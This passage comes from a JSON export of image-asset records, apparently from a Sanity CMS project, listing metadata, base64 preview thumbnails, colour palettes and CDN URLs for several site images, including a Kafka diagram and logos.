6eaSlxQeS3hbkjmTLSlSNrCpelbQqWXXsalEVZFnQO4p/oMRywqqcVAWtarFsUf/i8PT1QeciGl6UUUnhUuyWhqcl2C/xoJTkbv9padApxV6JBaVwUBqclDw7O7WwO28fz3WP5kNnNsGzCZ4PB3P28eywO8eC+QS/ETpznYO506M55L5Bg3nPnu22vzM+tWi8Gfi1KKhzWteyrmQDR098dx2F9URsq2QnxpvecCMM6oJtC9YI4YY3/ASjzURsW/knFWGMheBaJ0olCGEIA0KoUkprTShFCHHO8+9HIIQxxkmSaJ1PkiADZIxqrZRSGGMIISEkJytCSBSFjFGlhBCZHYbheIB+Sg4YYzpnx3GMEBJC6ByExBDCKIqEYEJQCD3b7vu+zznPyFEUPU8sI5McKlHGGK0TQtB4zgjBheC+79u2DSEUQmRklNeRSymtEyE45zyvVyslCAkg9BDC44kfBIHv+5RmHcmG/jhtSqlWUuusbXm+RqlEKUEpymtmSinOz8hnNeejMyaESClVIrWWxqg01cZkJWitsqkmZX47JQRDKBorZeSsv+MU8ywzRaPTVBojcuU8B2PSNDUma4iURAhx9qjM/yI1RhsjjcnU8p5l1xxn+7mRIZvbZ6TnP848aqyf7Xw2YGx+mst/Ae4t7TMwE+uFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292416","foreground":"#fff","population":4.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0980a","foreground":"#fff","population":1.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf405","foreground":"#000","population":6.74,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b3b4","foreground":"#000","population":0.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7f02d","foreground":"#000","population":2.48,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4a4","foreground":"#000","population":0.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf405","foreground":"#000","population":6.74,"title":"#000"}}},"mimeType":"image/png","originalFilename":"46fba0a558a9ea83cad48a5f94aacbbc00963df0-900x1553.png","path":"images/sczeoy4w/production/46fba0a558a9ea83cad48a5f94aacbbc00963df0-900x1553.png","sha1hash":"46fba0a558a9ea83cad48a5f94aacbbc00963df0","size":47296,"uploadId":"8XdnlX2nCt7XBvZvkBg8JcNKpO2QkYlO","url":"https://cdn.sanity.io/images/sczeoy4w/production/46fba0a558a9ea83cad48a5f94aacbbc00963df0-900x1553.png"} {"_createdAt":"2022-10-25T14:04:13Z","_id":"image-20d81738dc98b979deb3bf0da0b2c47a74a19b8b-1207x1295-gif","_rev":"Ile3s458RZgMYlcBtGCDt2","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:04:13Z","assetId":"20d81738dc98b979deb3bf0da0b2c47a74a19b8b","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"e1SigR_Nov_N4;00IU-:9aM}009ZtQozRj_N4o0Mo}IUWm9Z01_2Mw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.932046332046332,"height":1295,"width":1207},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAVABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAIDAQQI/8QAHRAAAgMAAgMAAAAAAAAAAAAAAAECAxEEMRIhkv/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAMAwEAAhEDEQA/AOmK+JZXvjavkhFcuF8oyrjZViyW4bsG3HX2SCRSqISSc4ZJ9rQWSi2/TAVLRoAGG8AAH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#232323","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043866","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#232323","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5d0b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96bee0","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7cb07c","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54a5e6","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"20d81738dc98b979deb3bf0da0b2c47a74a19b8b-1207x1295.gif","path":"images/sczeoy4w/production/20d81738dc98b979deb3bf0da0b2c47a74a19b8b-1207x1295.gif","sha1hash":"20d81738dc98b979deb3bf0da0b2c47a74a19b8b","size":1449764,"uploadId":"zlhLDjVsp8Hdz08TV53XHOTnifmxeZiO","url":"https://cdn.sanity.io/images/sczeoy4w/production/20d81738dc98b979deb3bf0da0b2c47a74a19b8b-1207x1295.gif"} {"_createdAt":"2022-10-28T13:45:12Z","_id":"image-6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56-svg","_rev":"rJS56b94O7Akm51S498n90","_type":"sanity.imageAsset","_updatedAt":"2022-10-28T13:45:12Z","assetId":"6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIF$Y7%M009F9Fj[ayfQj[ay00Rj~q%MWBfQj[fQayfQ4nxu%MD%-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":56,"width":56},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADnUlEQVQ4jXWVy0tqXxTHddA/0F/Q6P6CqNhrnaP0sBTMyJFJEkIEQVmXBkLRJIgGRi+IBkHQoGFF77AGUdw7q4gMehBFFxpUsx5aPn4Jutdl7d8x/HWvg+1RPOuz1/O7TABg4lNSUmLSNM0MAMVCCIcQYkQI8RMAHgHgXz6I+IiIPxExhIgOfhcAzFarVTGEECb1paysjGFFAPCPruvfbTbbhsPhuK2trY1Zrda0pmlZRMwCQBoAYoh4i4gbiPidbQCgqLy8XLFMlZWVCoaIlQAw4nQ6z4PBYHJ8fJz6+vrI6/VSQ0MD2e12qqmpIYvFQohIAJAEgHO2AQC2LdI0zWRCRDMi8i0jiPjL7/dnwuEw3d3dydXVVdnZ2Sk9Ho/0er3S5/NJv98vW1tbpdvtpqqqqgzbGFBmmNnNYsP1c03TMgw4PT2VyWRSMpiNnU6n7OjokKOjo3JhYYHC4bCcnZ1VcIvFkmFbg1HMQAfng0PQNI26uroUMB6P08bGhmxra6Oenh5aXFyky8tLenp6kqlUim5ubuTQ0JDkNAghkoi4zoUyGaHeAgBpmiYNICUSCbm7u0sTExPEz5eXF/r4+KC3tzeKx+Py4eGB/5M2m00KIcgoVIiB3AaxPCAZIdPZ2RkdHh7S8/Mz5X4vLS3R9vY2RSIROTY2RnnAKLMYyL2VzvcwEolQOp1WXsViMeIQT05OaHh4mDweDwUCAZqZmaFgMCirq6tzQGY8moyGzeaAgUBAAbPZLGUyGZJSKvD8/Dw1NTVxvqiurk6BGxsbpa7rkm0NRuqvQPYmH8ghz83NkcvlUkDuSZ/PR263m6v8B7BgyNFoVBWB83dwcEADAwMMoe7ubnVBf3//X0MuWJSLiws6Pj6m19dXen9/p6OjIxX65uameoenyfb/ovxgYKhQ2+zt7dHU1BTt7+8rKBeHw4/FYvL+/v6PtgGAUK6x1782diKRoK2tLdne3k69vb20srJC19fXDFaNfXV1JQcHBznkz8YGAHvB0UulUnJnZ4d4vFwul5rpyclJuby8rC6anp6WLS0tXGUevbPP0RNC5MQh9FUc1tbWVAq+igM/ueJWqzUnDiEA+MZCw9KVL1+hr/LV3NxMTqeT6uvrWV1I1/WC8qX0kD90Xf8qsOt2u50FNmqxWJTAAkBOYKPG3LIYfApsRUXFfwLLso2IptLSUrUChBC5FRDKWwEpPsYK+MEiwAUw8m9mh3Ir4DczDAsl6iOJrgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":36.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":36.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#797979","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Klaw-logo.svg","path":"images/sczeoy4w/production/6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56.svg","sha1hash":"6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b","size":1232,"uploadId":"OyL2u5PFIxQ7VeGuFMV0htWSeHOTmsIq","url":"https://cdn.sanity.io/images/sczeoy4w/production/6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56.svg"} {"_createdAt":"2022-11-23T08:15:47Z","_id":"image-2f4f0088a65c81a8aa1f61fe005f86d74497b6f9-512x512-png","_rev":"YI3rks3mbRtnzMpdoOQDhI","_type":"sanity.imageAsset","_updatedAt":"2022-11-23T08:15:47Z","assetId":"2f4f0088a65c81a8aa1f61fe005f86d74497b6f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"egMG^*t7%$ogrr~WWBozayRk4.jti_kCbb%Moft7fjjFRjRkj?j[M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAENUlEQVQ4jVWT6VNTVxiH80/0Qz9IrQUGjLIphEgIVEhFhMqW6lQCCEythcq0KAVsKaOIASVAZEcCgbCm0YTQlDVhCyQhzUIukNx77llu/pHODdPOdOaZM+fD+c3zzvu+R8AAxLAIQMgiFmKW8nlWRkffVSg6C/KVJUXtxUWNdwp7m1sdezaEaRKBw0zkwggASwBLWIgghgCCo73d5f7ehcYn+mcNq90vrUOqpZdtwy0tFv0iHaIwARgzGAOMAcJAwEKOhQQijAiiGdpt3bJPT7hnxvwf54LWP9HBBmVa+NjdqR8e8XvcmH8IEIYIQ4hhJIwIxAgRzDC0f3c7YFqEW2bs3sf+I853yG4tr/d1zXa/ddrtmKAIGEUQsIiDmECMESEAAMq+FzAu0mtG6NpHXid07NAWw6bq9VzHK4fVigkiYULCBHM8vBkiHoQ5EKKPbTbH9JR9YsxnMpyur3gNC+6Z97v9ytU3r72rFswyJMydw4cBJABxLApDHGao4LHZsj8ysqXud05rAh8W3LPTrukJ15jaOaw+W18lDH1uPpcLGEQYxDGIAzhMn9LU6oZ3TudbmKH+mA+aDfSaOWgx+nUar26KObATyGKOb+05ETPkAOIYzNEAnR66jk3GwLzWMznq0WqCJj1tWvLpJnxmE3NyEmkV32eI+aX4b8588TTizk5D/s3NI83YoeqtSz0Q0GqOtSOu94PejQ0GQMQRFIlBzKJ/wxhAfnwM4kIsCbjcrvlZ98BAYHyCmppw9Ct3+rq9VitA/DhRZBH/Zz4P04jQKExRpwcGw25fj12t2lEp19qbt9VvfDs2BrD8OiCWB/NnJAx5M8NDgix2ujxrmsnl503GpoaV35q2VR1HuvE9k8lx6KEBizHk5TxQAPjy+SuACCDkoYL6RfOSsmun87mj74VHOxhcnnPqp8d7BvuHFlc2nd7AGQ0ARAhiJIgUwf+q0xDt8lHzRtvvbQNDz1od7zpD+vGgRe82LU2p1LU1raWVL+paxntGTca/7I6/KeqMFjAQ+U9CW/se3QdbR99SRX1vXtHTWvnjoadNJlXXXE9vR/OrB982SmSP02QNkjtNMnmboq7nV+XM0OSKYH3PM6xbe9KmKa5SivN+TpA8SpLUiDPLC2X3y+8qim4rJFnladIq0c3v0mV1qTd/uJpRIxRXp+bU5xS3Cn5s1xY+7ErJ/Sn6WnVUvDw6QZ4iqUrLqkxJLxVe/SomTnY5pSRVWiHNe5RdUJ9x6/tE8YOYxJLoxLLY5HsCUcEvV7LqvkipjIovuxBbGJdclv5llURWI5Iq4hMLY4T5iSJ5mrQ8I/dh5q1acW51QlpZtPD2pXjZxdhsQby4JuZ65aWE+5/FfR0Vmy+8Ls/IqcyUVaZJFXEJd2OF+Umi0ms3vklKlyeJ7yXfuH85ufBibPaFz0WffHrlHy86GZJkWA7FAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2d3b","foreground":"#fff","population":1.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d153c","foreground":"#fff","population":15.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d153c","foreground":"#fff","population":15.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abb6cb","foreground":"#000","population":1.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8a898","foreground":"#000","population":2.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e75a8","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#648cc0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"rick.png","path":"images/sczeoy4w/production/2f4f0088a65c81a8aa1f61fe005f86d74497b6f9-512x512.png","sha1hash":"2f4f0088a65c81a8aa1f61fe005f86d74497b6f9","size":289312,"uploadId":"gUUdVCTjypIEQV8uyd2BN2MRz0DH7LJX","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f4f0088a65c81a8aa1f61fe005f86d74497b6f9-512x512.png"} {"_createdAt":"2022-11-03T14:12:30Z","_id":"image-46724f1004406a65b317c31df9d711687fff493a-1200x1323-png","_rev":"70bM5v708uTTBntrbFROQB","_type":"sanity.imageAsset","_updatedAt":"2022-11-03T14:12:30Z","assetId":"46724f1004406a65b317c31df9d711687fff493a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"exIUO[xD5,NdNu|^oJE}a#NuR.S3ocxFa|J9WXWooKw{WosoS2S2w{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9070294784580499,"height":1323,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE5ElEQVQ4jU2SS2yUVRTHT6cwFMpQ+qCAPMQCtYFhzn86/Ya2dKbzbDuVTulMH/Ku0ELfQB9TSQiEhTExLtREN7LQGDcSF0ajJoboyoUJhg0acKNxoTESFoAiYe7f3OmgfMn97vnud+/v/M7JFY7WCoc3Cwd2CbNeMf1eYTrgYXdzKztCFxmLf85Q1w229FxnsO9jOtmzdLI+OtkyBjPCpn6hky3O/SL8UoQHdwrDncIjdcLBhhpm9mSYDrzPVMsPTLbfYSRxn23d99iS/oPBzPd0sm/RycaMk/Wwufd/aDAjwuNbloDW8thWDw9tP8DBhk+Z8d1lT5NhqoVMtpORJNnWTTb35hnM/EYn+x6dbIhOdoVpGihCLdCWfEWE42td5sRGmONbr/Dw9jscbCAzPsN0AWqYbDcmksibtm7D5l7DYOZXOtlX6GS3sS1VMDRNtuSxKuHkGjETFeU8XXOUIxtucHiL4eE6w6EGY6Em/bRp4onpIwb7rtHJdtDJLmdgoAAtwDi1WjhTvoGTay5zrPJ3jqznU1BrSqYDeaZa/jHJ9oeMJB4XoC3p29x74DSDfZ6C4d4+EXNmpfDcCuGs+1meLXuD06vvcrySHFlvOLzZQsmhhr+Z8f3I/c5n7Nz3iUlEvmMk+SdDqV/Mvv2LbOmpZHNa2NpTIpwvFeZEuODawvnS18059x3OlJPjlfn/oEfqfuJQw2X2+kNMtQaZDA8yFnubkeQXDHdOMpRay1BKGOoSMRa2KBZaxZzMccH1M2fd5HR53pqakdrHfGnT1zy2NWkO1i9jLCbsCK1iPLqHsXi/iSZaTSS5kpGk2LEEWyyA3cxJijm5xgXXIzPrNpwpNxyvfMxTNd9wtDbJkfWlhetl7148Vsp41MN4tJyxmMvEY2KTLZVrofMuG29lTi4wJ7e54MpzdjkL5U9U3OJY1STHqis5vVo49Lywu1mYDAsTkYIZo4klYNjxytVD1UKK3J9zLc/nxG9y8prJyU0uuB6Y2eWGM6vumSnPR2aiIpSfqHDzQxEe2iEmHhVjYfYehrsKQwCVnd5GKd3WKuEmr/CSuLkoXpOTMyYnV82867o5575lZlZ9ZaY8J/ITFdW8sEJuDtfI+cguGQgEJOT3i09VAIiowo6SRqjL8fuW7fb53R8MrXObnKxjToImVzLAuWWneLZsmNOrmznl8Swkdgi/FVlT74gWQU+Gfa0DdJcqfIDuBtTnU1SLPJC/5lyufE7KHs6Wem6d8lRc7HyuKursqYGizPH7bHUlT8FsXGIzHAT0JKADqsgAegzQYMCv632KdfXexg07vY3b6r2N23f74KgirQo/gI2q2AmgDsAmoBDXW/KbgAXZBQ0DOg3ocUCTgCb80KwfOuqHHi0mO68KK2GTnwMwBeAYgJOqut8C31XVTlWtUdUggFkAiwAmAIyr6hkA54trFrAA4EUA8wDeAfAqgIsWrMWGvgxg1EIBdFkIgBl7QFUXVW07CtlzRaA1GgIwpqqXiomtYS+AatvDgC1ZVftUNayq7aoaB9APYBCAjW2yHgAxAC8A6AAQLq4lAewF4AVQbg1rAdts2z8EVdU2vBFAG4B9dq0477UlFb/tviYALQCaAdi4/gnwGVW1m6NFgzb7DSACIAGgvWhh+9wKIFD8by2tYaJ41j4V/wJ29IP8LZSJdAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3c3c","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c180e","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6a0f","foreground":"#fff","population":11.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#950903","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa463f","foreground":"#fff","population":3.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#715036","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6a0f","foreground":"#fff","population":11.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster-with-tag--vert-rgb.png","path":"images/sczeoy4w/production/46724f1004406a65b317c31df9d711687fff493a-1200x1323.png","sha1hash":"46724f1004406a65b317c31df9d711687fff493a","size":69921,"uploadId":"qUsm1HARKXF4adNoPZKgosMmMyV2gMtR","url":"https://cdn.sanity.io/images/sczeoy4w/production/46724f1004406a65b317c31df9d711687fff493a-1200x1323.png"} {"_createdAt":"2022-11-22T11:40:12Z","_id":"image-870486dab3c1fb2d1f8a818d5cb96fa24c7eb4c8-1600x1096-png","_rev":"bUMlF7B1Xxw34pzcKwyQZi","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T11:40:12Z","assetId":"870486dab3c1fb2d1f8a818d5cb96fa24c7eb4c8","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4598540145985401,"height":1096,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8ElEQVQokU2SCW7kIBBFc/8bTpJO22a1KZZiN9idEe1OZqQnYbCe6n/EG6bvQXzYcGo8wb1Q7lT48/EE8NT+dPGB8XFZb2MJHV3SpkroQjWh9hfQ5Nj+nrRVd20rujSUS/ZYUGlQUWw7k4XJ/KTwtXA5GFvxPNkaQEClh5Ier8nOZWV2rjqVhXC/sDDR/EXyneSJ5oVFyvyQVQezO5f/Tcb0cKEDHlKffKtMWMLsbQl/vgafc5wZUmH4VlZzaDzcMEfta3JDE0CPVHSEjExGwvPMBgvPVCQm45B116agCUP5v7PawszqnaSFRcIT5ZnyTESmIi8sER6pKFztozNcna/J8UCsYBqRfWJlonYi7jbHjym+T/FzjvcFZ2KJyBwOZRv6MpSfzqcLDVyX+uBbpcIRjncSP+b0McXbkhaGjNtn51Njd6FhPH9kX512oLOExrfCZGIy0RG4XDCZhUxiq6vuoDNq53295If3BbUBSOPCRCE8EZ4JL4OXn5hIfK1SNYCE2r5kG5r11bgEtgk4+Foot6/Yd/85hYkmwh0VI7aAruzufPVXbCrHD6Gism2zfYUiNydWP9Pw/mVviydjJorVSchc7VLvNpw+P9/2ROC+KCq9sg3cuExl95FCFSKSUGUzbTP7avZN70JVCfVX/guOnw9eP5jWrgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4258","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#79400a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4258","foreground":"#fff","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8abd6","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6a859","foreground":"#000","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7474a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea7c16","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-simply-explained-topics.png","path":"images/sczeoy4w/production/870486dab3c1fb2d1f8a818d5cb96fa24c7eb4c8-1600x1096.png","sha1hash":"870486dab3c1fb2d1f8a818d5cb96fa24c7eb4c8","size":35648,"uploadId":"Op0J6ogkly3ncD2Zul5ymuIECnKJrBCQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/870486dab3c1fb2d1f8a818d5cb96fa24c7eb4c8-1600x1096.png"} {"_createdAt":"2022-06-30T19:57:09Z","_id":"image-623e80ebabf8389220735a303123723aa000dde7-1600x471-jpg","_rev":"CK1sLU2mnwa3vmbYWEbLZf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:29Z","assetId":"623e80ebabf8389220735a303123723aa000dde7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DTR+RC{MTeK**x#rmlWZngkB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAGABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMG/8QAHxAAAgIDAAIDAAAAAAAAAAAAAQIABAMFERITIjFh/8QAFwEAAwEAAAAAAAAAAAAAAAAABAUGB//EABwRAAIDAQADAAAAAAAAAAAAAAECAAMEQTRxsf/aAAwDAQACEQMRAD8A0drX1MOpWwvk2QKDxlHJPSFjYGRFQev5AfUREVnk1j38mi6rGfFYWPYtX22FjJnyIFYnnB+RESR3WudDknphGVFWlABwT//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9c4859","foreground":"#fff","population":1.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8560a","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":9.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f4f1f4","foreground":"#000","population":7.59,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":9.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#454581","foreground":"#fff","population":4.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7107","foreground":"#fff","population":9.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"623e80ebabf8389220735a303123723aa000dde7-1600x471.jpg","path":"images/sczeoy4w/production/623e80ebabf8389220735a303123723aa000dde7-1600x471.jpg","sha1hash":"623e80ebabf8389220735a303123723aa000dde7","size":179964,"uploadId":"pyhcKKxhOSYTh6aQWtGgl2W2DltQyVcZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/623e80ebabf8389220735a303123723aa000dde7-1600x471.jpg"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-a7d25ec69c6f479e9398bd65cd54e61cd83cc641-400x250-png","_rev":"QRl2cGoCgj0FlAhkRrhkno","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:20Z","assetId":"a7d25ec69c6f479e9398bd65cd54e61cd83cc641","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V284SZ0gIW=_9bAH~AsmE3s.4VIpkV%1xtrFI;ofxZba","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6,"height":250,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRElEQVQokTWQ2W7TUBCG/SStfc6c1bF9NqdJE+9bQiIqqpACIWmFuOEKIaQKiZdHJxWjT79m+ediJnAZ5E4prWPJBWeMM0IIAAAh9BrgKwwAlBIhuIdTwShjLMgSyLXMTey0sEpYLa2SPlHS6ZlRsU55NmNpzFTCriPptNCpkIIGuZFtocbGTI3x2rqpdRuvdmrc0Lihtn1lulIPlZka62ltU2ijRKCVKFaqKU1T6iumKXS9VpVHV4X26lF1oer1lUKtFmmW8IALSFOudaxNbGxsTKy1TDORKqF0nOk4zUSS8iTlqVcxS/ks4TJmlEKQZXy1ypouH7bLabeadvfDbtltl927+3636jaLZnBVb+veteNdNy3bcVmP9+s6VyYOFvlsv1l8Otbn83B5ns7P4+kyPJ2H43k4fu0/fm4OT+XhqTx+qk6n9nIeLpfxfNkcDnWx1kGW0GKZ9bUdOzf286HL28ZWtS1rW1a2LHVR6rLUdaX71nuG1lOtlc5EgCGkFDMKjIIQTAjGKBCCCCBCEGcgBZGcxJImM55IJhlIBoIBAAoQjhCKUBQhhDDGgDEAIuA7BPB6njwO+WGcP/buoXO7yuxL/dDabWXnZhZgjAhgCpgAooApQZxiyXwZC/JhmL++9H+/j39eut+X7uep/XXuXr9tfnzpN00eIBS+LQNGgCOAiAKiBAFEnMJ9nuxb+76z+8ZsazNVdtu6XX/Xl84qGWC4RSiKoigMw9vw9j9hhCJKqX8AYOzvCiOPN76Zb25u/gFHYJ6CxtuH8wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4534","foreground":"#fff","population":12.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e2a0f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c4534","foreground":"#fff","population":12.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcad75","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eab38e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad8c62","foreground":"#fff","population":3.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e19059","foreground":"#000","population":0.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a7d25ec69c6f479e9398bd65cd54e61cd83cc641-400x250.png","path":"images/sczeoy4w/production/a7d25ec69c6f479e9398bd65cd54e61cd83cc641-400x250.png","sha1hash":"a7d25ec69c6f479e9398bd65cd54e61cd83cc641","size":26862,"uploadId":"UOxcvb5s5FBPa5J0W9EdZmvb1tdIQ5xv","url":"https